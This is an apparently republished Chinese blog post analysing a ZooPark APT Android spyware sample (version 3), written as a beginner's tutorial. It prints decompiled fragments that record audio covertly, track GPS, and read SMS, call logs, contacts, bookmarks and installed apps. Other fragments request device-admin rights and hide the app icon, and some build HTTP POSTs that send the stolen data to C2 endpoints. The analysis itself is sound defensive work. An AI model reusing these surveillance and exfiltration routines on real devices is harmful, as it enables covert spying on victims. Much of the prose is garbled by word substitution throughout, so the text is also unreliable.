APT组织ZooPark V3版移动样本分析

ZooPark是一个针对中东的APT组织,截至2017年,已经成长到了4.0版本,本次阐发是第三个版本,相对照V1、V2版本的代码的繁杂性,2016年流出的V3版本的样本可以说有关于信息偷取这方面的功能比之前有了质的飞跃,假如说之前两个版本让人感到新手练手的作品,那么这个版本已经可以说是有开拓履历的老司机来写的了。我们入门先做静态的代码阐发,理顺阐发流程。

对象:JEB1.5、AndroidKiller1.3

样本运行流程图

V3

阐发之前,我们必要理清思路,慢慢阐发,逐步行成一套属于自己的阐发流程。

1、 是否加固过,肴杂过未加固、未肴杂。

2、看安装包目录布局,看是否有特其余文件,记录下来方便后面的阐发。

证手札息,看样今大年夜概流出的光阴:

资产目录assets中全是这些看起来很火辣的蜜斯姐,很显着可能用于诱惑用户查看点击之类的:

结构文件夹res的有几十个values文件(values-nb等),文件里面有不合国家的字体,和之前两个版本,可以看出,开拓职员有了质的飞跃:

3、 看清单文件,静态注册了哪些广播接管器。

在清单文件AndroidManifest.xml中有这样静态注册的广播,由于它没有设置intent-filter,以是不会捕获任何广播,只能主动经由过程构造显式intent+发送广播sendBroadcast才可以唤醒这个广播:

receiver android:name=”com.wallpaper.OnGPSReceiver” />

receiver android:name=”com.wallpaper.OnAlarmReceiver” />

应用Android Killer对象的全局字符串搜索,只发明OnAlarmReceiver这个广播接管器在OnBootReceiver开机广播中被启用,结合起来实现的功能是开机后,设置一个重复的警报,来启动这个广播,用来唤醒AppService办事(办事对照繁杂,在阐发完清单文件后,阐发):

从广播接管器的名称就可以看出他是一个检测收集变更然后履行某些行径的广播。从代码中可以看出他的主要行径便是假如可以联网,就会开启AppService办事(这是第二个为了开启这个办事的广播了,可以看出极有可能这个办事便是恶意行径的主要提议者)。这里勾选上write措施是建议留个印象,假如阐发多个样本,那么着实可以从代码编写习气中,看出一些端倪:

receiver android:label=”NetworkConnection” android:name=”com.wallpaper.NetworkChangeReceiver”>

intent-filter android:enabled=”true” android:exported=”false”>

action android:name=”android.net.conn.CONNECTIVITY_CHANGE” />

intent-filter>

receiver>

这是将这个样本APP激活成设备治理器,在meta-data中知道device_admin_sample.xml文件寄放了,激活设备治理器哀求开启的策略,并且一旦策略被触发就会调用这个广播接管器中重写的措施,如图7.png,都邑打印一条日志:

intent-filter>

action android:name=”android.app.action.DEVICE_ADMIN_ENABLED” />

action android:name=”android.app.action.DEVICE_ADMIN_DISABLED” />

intent-filter>

meta-data android:name=”android.app.device_admin” android:resource=”@xml/device_admin_sample” />

receiver>

[1] [2] [3] [4] [5] [6] [7] [8]下一页

收到短信时,会将短信内容、号码、光阴等存入data数据库中的tbl_SMS表中:

receiver android:enabled=”true” android:name=”com.wallpaper.SMSReceivers”>

intent-filter>

action android:name=”android.provider.Telephony.SMS_RECEIVED” />

intent-filter>

receiver>

开机启动广播,首先会考试测验开启ScreenStateService办事,然后创建一个重复的警报,每隔4分钟来启动这个OnAlarmReceiver,即开启AppService办事。

receiver android:enabled=”true” android:name=”com.wallpaper.OnBootReceiver” android:permission=”android.permission.RECEIVE_BOOT_COMPLETED”>

intent-filter>

action android:name=”android.intent.action.BOOT_COMPLETED” />

category android:name=”android.intent.category.DEFAULT” />

intent-filter>

receiver>

综上,这些静态注册的广播,主如果经由过程监听收集变更、开机自启动来打开AppService、ScreenStateService办事,下面主要阐发这两个办事。然后还有一些偷取用户收到的短信内容,写入数据库、激活设备治理器

4、阐发两大年夜办事的功能:AppService、ScreenStateService

ScreenStateService

动态注册ScreenReceiver广播接管器来监听屏幕的解锁和锁屏:

ScreenStateService.mReceiver = new ScreenReceiver();

this.getApplicationContext().registerReceiver(ScreenStateService.mReceiver, new IntentFilter(

“android.intent.action.SCREEN_ON”));

this.getApplicationContext().registerReceiver(ScreenStateService.mReceiver, new IntentFilter(

“android.intent.action.SCREEN_OFF”));

(1) 锁屏时,开启AppService办事(不知道第几回启动它,证实这个办事才是真正的恶意功能履行者)。履行Start_check_mic措施,开启线程来录音8分钟存储到外部存储/android/data/AndroidService/光阴.3gpp,然后将~/android/data/AndroidService/目录下多有录音文件POST上传到C2地址的/spyMobile/recordcall_upload.php文件上:

在构造C2地址时,假如第一次造访这个地址MainActivity.Server_Domain,由于还没有被赋值,以是会非常,调用MainActivity.findServer()措施来,获取C2地址(经由过程造访收集图片获取返回的流数据,然后正则匹配出C2地址):

(2) 屏幕解锁时,打印Intent Action: android.intent.action.SCREEN_ON。

AppService

一样平常来说,浏览办事做了哪些事,从onCreate或者onStartCommand(onCreate没有重写的环境),然则这个办事没有这两个措施,再仔细看看,发明这个办事类,承袭一个自定义类,而这个自定义类承袭IntentService类,看到这个类我们就必要从onHandleIntent措施入手了(办理开拓这忘怀开启线程和忘怀调用 stopSelf()),发明主要履行了doWakefulWork抽象措施,以是再回到AppService类中,反省他的重写措施即可:

public class AppService extends WakefulIntentService

public abstract class WakefulIntentService extends IntentService

……

abstract void doWakefulWork(Intent arg1);

……

this.doWakefulWork(intent);

WakefulIntentService.getLock(((Context)this)).release();//锁屏(没有唤醒锁的条件)

(1) 反省是否开启ScreenStateService办事来偷偷录音,假如没有就打开这个办事:

上一页[1] [2] [3] [4] [5] [6] [7] [8]下一页

(2) GPS_GET_Location_Period: 获取设备位置信息强制开启GPS:

每秒检测一次,一旦间隔改变跨越15米,记录下经纬度和对应的位置:

然后经纬度、光阴数据写入这个tbl_GPS表中:

try {

label_38:

DatabaseHandlers v2 = new DatabaseHandlers(((Context)this));

v2.Insert_table(“tbl_GPS”, new String[]{“Lat”, “Long”, “Time”}, new String[]{Double

.toString(this.latitude), Double.toString(this.longitude), new SimpleDateFormat(

“yyy-MM-dd HH:mm:ss”).format(new Date())});

v2.close();

(3) Start_All_Services()

LoginUser

构造带有设备ID的url造访C2地址,假如没有C2地址,跟前面一样,应用findServer来获取(根据卡巴斯基的申报C2应该是5.61.27.157):

GPSData

应用构造带有位置数据的C2地址,进行造访:

//获取”tbl_GPS”表的所稀有据

v6 = v9.getAllData(“tbl_GPS”, v8);

……

try {

Object v18 = v6.get(v16);

Object v20 = v6.get(v16 + 1);

Object v23 = v6.get(v16 + 2);

this.ConvertPointToLocation(Double.parseDouble(((String)v18)), Double.parseDouble(((String)

v20)));

String v25 = MainActivity.Server_Domain + “/spyMobile/api_gpslocation.php?imei=” + devid

+ “&currentLoaction=” + this.strAddress + “&lat_long=” + v20 + “,” + v18 + “&timing=”

+ v23.replace(” “, “%20”);

Log.d(“url”, v25);

v13.getParams().setParameter(“http.protocol.cookie-policy”, “rfc2109”);

v14 = new HttpPost(v25);

}

readOutgoingSMS

获取uri:content: //sms/sent内容,发送的短信内容,写入Insert_table表中:

try {

System.out.println(“Inside of SMS Reading…….”);

v3 = Uri.parse(“content://sms/sent”);

v4 = new String[]{“_id”, “address”, “body”, “date”};

}

……

v16 = new DatabaseHandlers(this);

v11 = new String[]{“Type”, “Number”, “Text”, “Time”};

上一页[1] [2] [3] [4] [5] [6] [7] [8]下一页

v12 = 0;

…….

try {

String[] v14 = new String[v2];

v14[0] = “Outgoing”;

v14[1] = v8;

v14[2] = v9;

v14[3] = v21;

v16.Insert_table(“tbl_SMS”, v11, v14);

goto label_97;

}

SendSMS

上传发送的短信内容:

try {

String v20 = MainActivity.Server_Domain + “/spyMobile/api_smstracking.php?imei=” + devid

+ “&smsType=” + v2.get(v14) + “&smsNumber=” + v2.get(v14 + 1) + “&smsText=” + v2

.get(v14 + 2) + “&smsTiming=” + v2.get(v14 + 3);

Log.d(“Send SMS url”, v20);

v20 = v20.replace(” “, “%20”);

v11.getParams().setParameter(“http.protocol.cookie-policy”, “rfc2109”);

v12 = new HttpPost(v20);

}

sendCallDetails

发送通话记录数据:

然则这里有一个问题便是,获取通话记录的地方也便是下面这个类没有被调用,那我们接着探求一下fetchNewCallLogs措施的调用链,onCallStateChanged措施->fetchNewCallLogs,照样未能找到开启这个类的地方,先往下看:

public class CustomPhoneStateListener extends PhoneStateListener {

………

public static void fetchNewCallLogs(Context context) {

……..

label_71:

Long v31 = Long.valueOf(Long.parseLong(v24));

Calendar v19 = Calendar.getInstance();

v19.setTimeInMillis(v31.longValue());

String v20 = v19.getTime().toString();

System.out.println(“tbl_CALL TIMING : ” + v20);

v25.Insert_table(“tbl_CALL”, v22, new String[]{v30, v21, v26, v20});

v18.moveToNext();

ScreenReceiver.upload_all_file_and_delete()

上传ScreenStateService办事录的音频文件:

SendPhoneBook

获取联系人电话、姓名、ID并发送:

try {

String v10 = MainActivity.Server_Domain + “/spyMobile/api_phonebookaccess.php?imei=” + devid

+ “&phonebookListname=” + this.PhoneBookName.get(v5) + “&mobileNumber=” + this.

上一页[1] [2] [3] [4] [5] [6] [7] [8]下一页

PhoneBookNo.get(v5) + “&numberType=” + this.PhoneBookType.get(v5);

Log.d(” phonebook url”, v10);

v10 = v10.replace(” “, “”);

v2.getParams().setParameter(“http.protocol.cookie-policy”, “rfc2109”);

v3 = new HttpPost(v10);

}

SendBrowserDetails_GetLastTime

第一次履行到Start_All_Services()措施时,count_step_to_send_BrowserHistory 变量照样初值1,不能履行SendBrowserDetails_GetLastTime恶意措施,第一次主如果赋值AppService.check_start_upload_info == true,标识开始上传数据:

public AppService() {

……..

this.count_step_to_send_BrowserHistory = 1;

…….

if(this.count_step_to_send_BrowserHistory != 0) {

goto label_108;

}

……

// first: count_step_to_send_BrowserHistory == 2;second:count_step_to_send_BrowserHistory == 3(V14)

++this.count_step_to_send_BrowserHistory;

if(this.count_step_to_send_BrowserHistory != v14) {

goto label_115;

}

this.count_step_to_send_BrowserHistory = 0;

第二次履行到这时,看上边代码的注释,会给count_step_to_send_BrowserHistory 赋值为0,也便是第三次履行到这里就可以履行SendBrowserDetails_GetLastTime措施了,履行了通俗的HTTP哀求,来获取造访的光阴信息:

try {

String v9 = MainActivity.Server_Domain + “/spyMobile/api_urltracking.php?imei=” + devid +

“&urlName=” + “getlasttime” + “&urlLink=a&timing=a”.replace(” “, “%20”);

Log.d(“Browser url “, v9);

v2.getParams().setParameter(“http.protocol.cookie-policy”, “rfc2109”);

v4 = new HttpPost(v9);

}

获取浏览器书签:

SendBrowserDetails

发送系统自带浏览器书签信息到C2:

try {

String v10 = MainActivity.Server_Domain + “/spyMobile/api_urltracking.php?imei=” + devid

+ “&urlName=” + this.UrlName.get(v5) + “&urlLink=” + this.UrlLink.get(v5) + “&timing=”

+ this.UrlTime.get(v5).replace(” “, “%20”);

Log.d(“Browser url “, v10);

v2.getParams().setParameter(“http.protocol.cookie-policy”, “rfc2109”);

v3 = new HttpPost(v10);

}

readAppInfo

第三次履行到这会被赋0值,然后第四次履行this.readAppInfo(),

try {

if(this.count_step_to_send_AppInfo == 0) {

上一页[1] [2] [3] [4] [5] [6] [7] [8]下一页

this.readAppInfo();

this.SendAppInfo(AppService.deviceIMEI);

}

++this.count_step_to_send_AppInfo;// this.count_step_to_send_AppInfo初始化之后为2,现在==3

if(this.count_step_to_send_AppInfo != 5) {

goto label_130;

}

this.count_step_to_send_AppInfo = 0;

}

获取已经安装的利用的名称包名:

v5 = this.getPackageManager();

List v1 = v5.getInstalledApplications(0);

SendAppInfo

构造含有利用信息的url,发送给C2:

try {

v2.printStackTrace();

label_18:

String v13 = MainActivity.Server_Domain + “/spyMobile/api_appinfo.php?imei=” + devid

+ “&appinfo=” + this.AppInfo.get(v7) + “&isappexist=” + this.AppIsExist

.get(v7);

Log.d(“Send appinfo url”, v13);

v13 = v13.replace(” “, “%20”);

v4.getParams().setParameter(“http.protocol.cookie-policy”, “rfc2109”);

v5 = new HttpPost(v13);

}

getSentImages、sendImageData

首先同上,它这里有个显着的掉误,由于初始值为1,之后会赓续增添,纵然从新启动这个类,也会再++this.count_step_to_send_Image;这里自增,永世不会为1,也便是永世不会被赋值为0,履行不到getSentImages和sendImageData(这里颠末全局查询字符串,并没有其他地方会赋值),也便是说它这个上传外部存储下的/DCIM/目录,关于设备拍的照片、截屏还有暗藏文件夹”/DCIM/.thumbnails”内的图片缩略图,写入数据库的”tbl_PHOTO”表后的上传操作,都不能进行了。

if(this.count_step_to_send_Image == 0) {

this.getSentImages();

this.sendImageData(AppService.deviceIMEI);

}

++this.count_step_to_send_Image;// count_step_to_send_Image初始值==1,第一次履行到这,==2

if(this.count_step_to_send_Image != 1) {

goto label_145;

}

this.count_step_to_send_Image = 0;

至此关于AndroidManifest.xml中会进行的操作阐发完毕了,主要的恶意功能办事AppService也阐发完了,历程中发明,样本作者开拓历程中,呈现了掉误导致上传图片功能无法进行,似乎是借鉴另一个样同族族的源码写的,然则没有做个正确测试,导致的问题吧(假如差错,请指教!!!),还有便是留下一个没有获取通话记录的地方,接下来,阐发主要的启动历程中,会谢谢什么,也是对照轻松一些得了,由于主要恶意功能已经阐发完毕

5、清单文件中找进口类

com.wallpaper.MainActivity

activity android:alwaysRetainTaskState=”true” android:label=”@string/title_activity_main” android:name=”com.wallpaper.MainActivity”>

上一页[1] [2] [3] [4] [5] [6] [7] [8]下一页

intent-filter>

action android:name=”android.intent.action.MAIN” />//标志

category android:name=”android.intent.category.LAUNCHER” />//标志

intent-filter>

activity>

MainActivity()

在构造函数里声清楚明了一个延迟开启AppService办事的逝世轮回操作(看onCreate之前先看看构造函数中是否有一些恶意行径,或者可以直接履行的操作):

this.updateTimerThread = new Runnable() {

public void run() {

try {

Intent v0 = new Intent(MainActivity.this.context, AppService.class);

v0.addFlags(0x14000000);

MainActivity.this.context.startService(v0);

// 延迟4分钟,继承履行这个操作(逝世轮回)

MainActivity.Handler_schedul.postDelayed(MainActivity.this.updateTimerThread, 240000);

}

catch(Exception v1) {

}

onCreate()

m1

(1) 延迟1分钟开始逝世轮回,赓续开启AppService办事

MainActivity.Handler_schedul.postDelayed(this.updateTimerThread, 60000);

(2) this.readSMS(); //获取短信数据,写入tbl_SMS表里

Uri v3 = Uri.parse(“content://sms/”);

String[] v4 = new String[]{“_id”, “address”, “body”, “date”, “type”};

…….

v21 = “Incoming”;

switch(Integer.parseInt(v12.getString(v12.getColumnIndex(“type”)))) {

case 1: {

try {

v21 = “Incoming”;//收到的短信

goto label_69;

label_109:

v21 = “Outgoing”;//发送的短信

goto label_69;

label_111:

v21 = “Draft”;//草稿

goto label_69;

}

……

v15.Insert_table(“tbl_SMS”, v11, v13);

(3) 获取通话记录数据放入tbl_CALL表中,弥补了阐发AppService中遗留的问题

this.getCallDetails();

v27 = this.getContentResolver().query(CallLog$Calls.CONTENT_URI, null, null, null, null);

上一页[1] [2] [3] [4] [5] [6] [7] [8]下一页

v28 = v27.getColumnIndex(“number”);

v34 = v27.getColumnIndex(“type”);

v20 = v27.getColumnIndex(“date”);

v24 = v27.getColumnIndex(“duration”);

v30.append(“Call Details :”);

……..

v21.Insert_table(“tbl_CALL”, v18, v19);

(4) 应用registerReceiver动态注册屏幕开关广播接管器ScreenReceiver(上面阐发过了,这里不赘述)

try {

IntentFilter v5 = new IntentFilter(“android.intent.action.CLOSE_SYSTEM_DIALOGS”);

v5.setPriority(65535);

v5.addAction(“android.intent.action.SCREEN_OFF”);

v5.addAction(“android.intent.action.SCREEN_ON”);

this.mReceiver = new ScreenReceiver();

this.registerReceiver(this.mReceiver, v5);

}

(5) 申请激活设备治理器

//设备策略治理办事

this.getSystemService(“device_policy”);

//监听策略被触发,调用重写的措施

ComponentName v1 = new ComponentName(((Context)this), AdminReceiver.class);

//添加设备治理员意图(main)

Intent v4 = new Intent(“android.app.action.ADD_DEVICE_ADMIN”);

v4.putExtra(“android.app.extra.DEVICE_ADMIN”, ((Parcelable)v1));

//额外的解释,随便写的内容

v4.putExtra(“android.app.extra.ADD_EXPLANATION”, “Your boss told you to do this”);

暗藏图标:

this.getPackageManager().setComponentEnabledSetting(new ComponentName(appPackage, appPackage

+ “.MainActivity”), 2, 1);

阐发到这里基础完备的阐发完了第三版本的样本。

总结

作为一个刚入行的新人,在阐发病毒木顿时,可以对照细致的去阐发,阐发历程中必然要作条记记录阐发历程,方便之后总结回首,遇见不会的API,保举先查官网的先容,一点点看,很熬炼英文水准,且结合网上的一些总结来认识,然后考试测验脱壳、反肴杂、动态调试,逐步认识全部阐发历程,阐发历程中也可以多打仗一些溯源的事情,终极要做到呈现新的病毒样本,可以实现快速的阐发、溯源(流量阐发也是溯源取证的措施),后面以致可以看看android源码,更深入的懂得底层常识,进阶一些破绽掘客的事情(小我初步设法主见)。

第一行代码认识android开拓,基础没有加壳的样本没问题了

ARM汇编根基:为动态调试做筹备…..

上一页[1] [2] [3] [4] [5] [6] [7] [8]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包